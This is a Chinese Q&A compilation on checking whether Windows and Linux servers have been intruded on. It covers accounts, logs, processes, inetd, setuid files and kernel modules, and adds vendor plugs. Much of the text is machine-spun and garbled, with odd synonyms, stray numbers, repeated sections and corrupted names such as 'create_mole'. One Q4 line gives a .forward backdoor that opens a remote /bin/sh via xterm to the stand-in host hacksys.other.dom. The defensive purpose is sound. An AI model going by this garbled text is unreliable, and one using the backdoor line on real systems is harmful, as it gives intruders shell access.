服务器被入侵,服务器被攻击

Q1：怎么查看服务器被入侵？

如果服务器（网站）被入侵了,一般都是服务器或者网站存在漏洞，被黑客利用并提权入侵的，导致服务器中木马，网站被挂黑链，被篡改，被挂马1解决办法：如果程序不是很大，可以自己比对以前程序的备份文件，然后就是修复，或者换个服务器，最好是独立服务器2也可以通过安全公司来解决，国内也就Sinesafe和绿盟等安全公司 比较专业.

Q2：怎么检查网站服务器是否被入侵？

网站服务器是否遭到侵略也可以终究靠以下几个过程进行承认：第一步：查看体系组及用户3假设发现administrators组内增加一个admin$或相类似的用户，或许性你的网站就已遭到了侵略；第二步：查看管理员账户是否存在反常的登录和刊出记载挑选一切体系登录日记及体系刊出日记，并具体查看其登录ip，核实该ip是否为常用的管理员登录ip；第三步：查看服务器是否存在反常启动项上面三个过程任何一个过程呈现了反常都有或许是因为服务器遭到了侵略4网站服务器遭受侵略应该怎么处理1.暂时封闭网站网站被侵略之后，最常见的状况便是被植入木马，为了确保访问者的安全，一般都要把网站暂时封闭5在封闭过程中可以把域名暂时转到别的一个网站或许一个告诉页面62.剖析网站受损程度有些黑客侵略了网站之后会把一切的网站数据都清空，假设有数据备份的站点可以终究靠数据备份康复网站数据，假设没有备份的则需要请专业硬盘数据康复公司进行数据康复7假设网站的页面数据没有发生什么改变，则网站或许仅仅是被挂马了，可以终究靠第三四个过程消除影响83.检测缝隙并打补丁数据康复之后一定要扫描网站的缝隙并进行打补丁处理9一般的网站程序官方都会定时推出相关的补丁文件，只要把文件上传到服务器并掩盖之即可104.木马病毒铲除木马病毒可以终究靠专业的杀毒软件进行查杀11在这里必需要分外留意的是，有时候有些正常的文件都会被误判为病毒，这样一个时间段就需要用户自己细心辨认之了125.常常备份数据重要的数据经常备份6.建议可以联署一些防入侵，篡改的防护产品

Q3：如何快速判断服务器是否被恶意入侵

而国内网络很大一部分的垃圾流量（恶意CC攻击、ddos攻击、垃圾邮件、垃圾弹窗广告等）也都是以这类被盗用入侵的IDC产品为土壤而滋生的13由此可见，对于自身的IDC产品做好安全防护及快速的故障排查是一个相当有必要的事情14不仅能提高自身产品的附加价值15提高产品的利用率16提升品牌形象，更能给客户一个良好的服务面貌17在此，笔者对常见的托管租用使用windows server第一步、检查系统组及用户我的电脑——右键管理——本地用户和组——组检查administrators组内是否存在除开管理员用户账号（默认为administrator）以外的其他用户账号检查users组内是否存在非系统默认账号或管理员指定账号本地用户和组——用户检查是否存在未做注释或名称异常的用户一般由于软件后本被入侵的服务器都会在administrators组内添加一个admin$或相类似的用户，一旦发现该类用户就应该首先避免运行任何程序，停止所有服务并及时使用杀毒软件对服务器关键区域（启动驻存、C盘系统文件夹 用户自定义文件夹）进行完整扫描，避免木马的二次交叉感染18第二步，检查管理员账户是否存在异常的登陆和注销记录我的电脑——右键管理——事件查看器——安全性筛选所有事件ID为576和528的事件（576为系统登陆日志 528为系统注销日志）查看具体事件信息内容19内容内会存在一个登陆IP20检查该IP是否为管理员常用登陆的IP(ip138 你懂的)第三步、检查服务器是否存在异常的登陆启动项开始菜单——所有程序——启动该目录在默认情况下应该是一个空目录，但是如果出现一个异常的.bat程序的话就应该全盘扫描服务器以确认服务器安全性开始菜单——运行msconfig启动菜单栏中是否存在命名异常的启动项目，例如A.EXEXXXXI1SU2.EXE等，一旦发现全盘扫描服务器以确认服务器安全性开始菜单——运行regedithkey_current_user—software—micorsoft—windows—currentversion-runhkey_current_machine—software—micorsoft—windows—currentversion-run检查以上2个项目下是否存在异常一般情况下如果以上3个步骤检查不存在异常的话基本就可以判定服务器的安全环境是无故障的

Q4：Linux如何判断自己的服务器是否被入侵

1、检查系统密码文件首先从明显的入手，查看一下passwd文件，ls –l /etc/passwd查看文件修改的日期21检查一下passwd文件中有哪些特权用户，系统中uid为0的用户都会被显示出来221   awk –F:’$3==0 {print $1}’ /etc/passwd   　　顺便再检查一下系统里有没有空口令帐户：1   awk –F: ‘length($2)==0 {print $1}’ /etc/shadow   　　2、查看一下进程，看看有没有奇怪的进程重点查看进程：ps –aef | grep inetdinetd是UNIX系统的守护进程，正常的inetd的pid都比较靠前，如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程，着重看inetd –s后面的内容23在正常情况下，LINUX系统中的inetd服务后面是没有-s参数的，当然也没有用inetd去启动某个文件；而solaris系统中也仅仅是inetd –s，同样没有用inetd去启动某个特定的文件；如果你使用ps命令看到inetd启动了某个文件，而你自己又没有用inetd启动这个文件，那就说明已经有人入侵了你的系统，并且以root权限起了一个简单的后门24输入ps –aef 查看输出信息，尤其注意有没有以./xxx开头的进程25一旦发现异样的进程，经检查为入侵者留下的后门程序，立即运行kill –9 pid 开杀死该进程，然后再运行ps –aef查看该进程是否被杀死；一旦此类进程出现杀死以后又重新启动的现象，则证明系统被人放置了自动启动程序的脚本26这个时候要进行仔细查找：find / -name 程序名 –print，假设系统真的被入侵者放置了后门，根据找到的程序所在的目录，会找到很多有趣的东东JUNIX下隐藏进程有的时候通过替换ps文件来做，检测这种方法涉及到检查文件完整性，稍后我们再讨论这种方法27接下来根据找到入侵者在服务器上的文件目录，一步一步进行追踪283、检查系统守护进程检查/etc/inetd.conf文件，输入：cat /etc/inetd.conf | grep –v “^#”，输出的信息就是你这台机器所开启的远程服务29一般入侵者可以通过直接替换in.xxx程序来创建一个后门，比如用/bin/sh 替换掉in.telnetd，然后重新启动inetd服务，那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell304、检查网络连接和监听端口输入netstat -an，列出本机所有的连接和监听的端口，查看有没有非法连接31输入netstat –rn，查看本机的路由、网关设置是否正确32输入 ifconfig –a，查看网卡设置335、检查系统日志命令last | more查看在正常情况下登录到本机的所有用户的历史记录34但last命令依赖于syslog进程，这已经成为入侵者攻击的重要目标35入侵者通常会停止系统的syslog，查看系统syslog进程的情况，判断syslog上次启动的时间是否正常，因为syslog是以root身份执行的，如果发现syslog被非法动过，那说明有重大的入侵事件36在linux下输入ls –al /var/log在solaris下输入 ls –al /var/adm检查wtmp utmp，包括messgae等文件的完整性和修改时间是否正常，这也是手工擦除入侵痕迹的一种方法376、检查系统中的core文件通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法，典型的RPC攻击就是通过这种方式38这种方式有一定的成功率，也就是说它并不能100%保证成功入侵系统，而且通常会在服务器相应目录下产生core文件，全局查找系统中的core文件，输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为397、.rhosts和.forward这是两种比较著名的后门文件，如果想检查你的系统是否被入侵者安装了后门，不妨全局查找这两个文件：find / -name “.rhosts” –printfind / -name “.forward” –print在某用户的$HOME下，.rhosts文件中仅包含两个+号是非常危险的，如果你的系统上开了513端口（rlogin端口，和telnet作用相同），那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证40看到这里如果想要深入的做安全加固服务以及安全部署就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供41Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题42在Solaris系统下，如果你运行如下命令：ln -s /var/mail/luser ~/.forward然后设置vacation有效，那么/var/mail/luser就会被拷贝到~/.forward，同时会附加"|/usr/bin/vacation me"，旧的symlink被移到~/.forward..BACKUP中43直接删除掉这两个文件也可以448、检查系统文件完整性检查文件的完整性有多种方法，通常我们通过输入ls –l 文件名来查询和比较文件，这种方法虽然简单，但还是有一定的实用性45但是如果ls文件都已经被替换了就比较麻烦46在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询，国家查询的结果是否正常来判断文件是否完整47在LINUX下使用rpm来检查文件的完整性的方法也很多，这里不一一赘述，可以man rpm来获得更多的格式48UNIX系统中，/bin/login是被入侵者经常替换作为后门的文件，接下来谈一下login后门 ：UNIX里，Login程序通常用来对telnet来的用户进行口令验证49入侵者获取login的源代码并修改，使它在比较输入口令与存储口令时先检查后门口令50如果用户敲入后门口令，它将忽视管理员设置的口令让你长驱直入：这将允许入侵者进入任何账号，甚至是root目录51由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问，所以入侵者可以登录获取shell却不会暴露该账号52管理员注意到这种后门后，使用”strings”命令搜索login程序以寻找文本信息53许多情况下后门口令会原形毕露54入侵者又会开始加密或者更改隐藏口令，使strings命令失效55所以许多管理员利用MD5校验和检测这种后门56UNIX系统中有md5sum命令，输入md5sum 文件名检查该文件的md5签名57它的使用格式如下：md5sum –b 使用二进制方式阅读文件；md5sum –c 逆向检查MD5签名；md5sum –t 使用文本方式阅读文件58在前面提到过守护进程，对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较，举个简单的例子，如果你开放了telnet服务，守护进程配置文件中就会有一句：telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd可以看到它所使用的文件是 /usr/sbin/in.telnetd，检查该文件的完整性，入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门59LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件，检查该文件的完整性，可以直接cat /etc/crontab，仔细阅读该文件有没有被入侵者利用来做其他的事情60不替换login等文件而直接使用进程来启动后门的方法有一个缺陷，即系统一旦重新启动，这个进程就被杀死了，所以得让这个后门在系统启动的时候也启动起来61通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序；这个方法怎么有点象查windows下的trojan？说到这里，另外提一下，如果在某一目录下发现有属性为这样的文件：-rwsr-xr-x 1 root root xxx .sh，这个表明任何用户进来以后运行这个文件都可以获得一个rootshell，这就是setuid文件62运行 find –perm 4000 –print对此类文件进行全局查找，然后删除这样的文件639、检查内核级后门如果你的系统被人安装了这种后门，通常都是比较讨厌的，我常常就在想，遇到这种情况还是重新安装系统算了J，言归正传，首先，检查系统加载的模块，在LINUX系统下使用lsmod命令，在solaris系统下使用modinfo命令来查看64这里需要说明的是，一般默认安装的LINUX加载的模块都比较少，通常就是网卡的驱动；而solaris下就很多，没别的办法，只有一条一条地去分析65对内核进行加固后，应禁止插入或删除模块，从而保护系统的安全，否则入侵者将有可能再次对系统调用进行替换66我们可以通过替换create_mole()和delete_mole()来达到上述目的67另外，对这个内核进行加固模块时应尽早进行，以防系统调用已经被入侵者替换68如果系统被加载了后门模块，但是在模块列表/proc/mole里又看不到它们，有可能是使用了hack工具来移除加载的模块，大名鼎鼎的knark工具包就有移除加载模块的工具69出现这种情况，需要仔细查找/proc目录，根据查找到的文件和经验来判断被隐藏和伪装的进程70Knark后门模块就在/proc/knark目录，当然可能这个目录是隐藏的71

Q5：如何查看服务器是否被攻击

DDOS攻击，直接找机房要流量图就看得到72把服务器ip打挂了，连接不上服务器，不通了73cc攻击:cpu变得很高，操作很卡，可以先让服务器商分析下，进服务器里看下，现在很多服务器安全软件，市面有云盾，金盾，cdn等各种防护软件74服务器被攻击的基本处理办法:检查系统日志，查看下是什么类型的攻击，看下攻击者都去了哪些地方75内容是否又被修改的痕迹等，如果发现问题及时进行清理76关闭不必要的服务和端口77定期整体扫描下服务器，看下存在什么问题， 有漏洞及时打补丁；检查是否有影子账户，不是自己建立的账号等78重新设置账户密码，密码设置的复杂些；以及设置账户权限79对服务器上的安全软件进行升级，或者是对防护参数进行重新设置，使他符合当时的环境80如果没有安装，可以安装个服务器安全狗，同时，还可以将服务器添加到安全狗服云平台上，这样当有攻击发生时，可以快速知道，并进行处理等81检测网站，是否又被挂马、被篡改、挂黑链等，如果有，及时清理82如果是大流量攻击，可以看下DOSS流量清洗，这个很多安全厂商都有这个服务83定期备份数据文件84如果之前有做备份，可以对重要数据进行替换http://redoufu.com/。如果不希望被攻击的话推荐租用高防服务器86

Q6：如何判断Linux服务器是否被入侵

1、检查系统密码文件首先从明显的入手，查看一下passwd文件，ls –l /etc/passwd查看文件修改的日期87awk –F: ‘length($2)==0 {print $1}’ /etc/shadow2、查看一下进程，看看有没有奇怪的进程重点查看进程：ps –aef | grep inetdinetd是UNIX系统的守护进程，正常的inetd的pid都比较靠前，如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程，着重看inetd –s后面的内容88在正常情况下，LINUX系统中的inetd服务后面是没有-s参数的，当然也没有用inetd去启动某个文件；而solaris系统中也仅仅是inetd –s，同样没有用inetd去启动某个特定的文件；如果你使用ps命令看到inetd启动了某个文件，而你自己又没有用inetd启动这个文件，那就说明已经有人入侵了你的系统，并且以root权限起了一个简单的后门89输入ps –aef 查看输出信息，尤其注意有没有以./xxx开头的进程90一旦发现异样的进程，经检查为入侵者留下的后门程序，立即运行kill –9 pid 开杀死该进程，然后再运行ps –aef查看该进程是否被杀死；一旦此类进程出现杀死以后又重新启动的现象，则证明系统被人放置了自动启动程序的脚本91这个时候要进行仔细查找：find / -name 程序名 –print，假设系统真的被入侵者放置了后门，根据找到的程序所在的目录，会找到很多有趣的东东，接下来根据找到入侵者在服务器上的文件目录，一步一步进行追踪923、检查系统守护进程检查/etc/inetd.conf文件，输入：cat /etc/inetd.conf | grep –v “^#”，输出的信息就是你这台机器所开启的远程服务93一般入侵者可以通过直接替换in.xxx程序来创建一个后门，比如用/bin/sh 替换掉in.telnetd，然后重新启动inetd服务，那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell944、检查网络连接和监听端口输入netstat -an，列出本机所有的连接和监听的端口，查看有没有非法连接95输入netstat –rn，查看本机的路由、网关设置是否正确96输入 ifconfig –a，查看网卡设置975、检查系统日志命令last | more查看在正常情况下登录到本机的所有用户的历史记录98但last命令依赖于syslog进程，这已经成为入侵者攻击的重要目标99入侵者通常会停止系统的syslog，查看系统syslog进程的情况，判断syslog上次启动的时间是否正常，因为syslog是以root身份执行的，如果发现syslog被非法动过，那说明有重大的入侵事件100在linux下输入ls –al /var/log检查wtmp utmp，包括messgae等文件的完整性和修改时间是否正常，这也是手工擦除入侵痕迹的一种方法1016、检查系统中的core文件通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法，典型的RPC攻击就是通过这种方式102这种方式有一定的成功率，也就是说它并不能100%保证成功入侵系统，而且通常会在服务器相应目录下产生core文件，全局查找系统中的core文件，输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为1037、检查系统文件完整性检查文件的完整性有多种方法，通常我们通过输入ls –l 文件名来查询和比较文件，这种方法虽然简单，但还是有一定的实用性104但是如果ls文件都已经被替换了就比较麻烦105在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询，查询的结果是否正常来判断文件是否完整106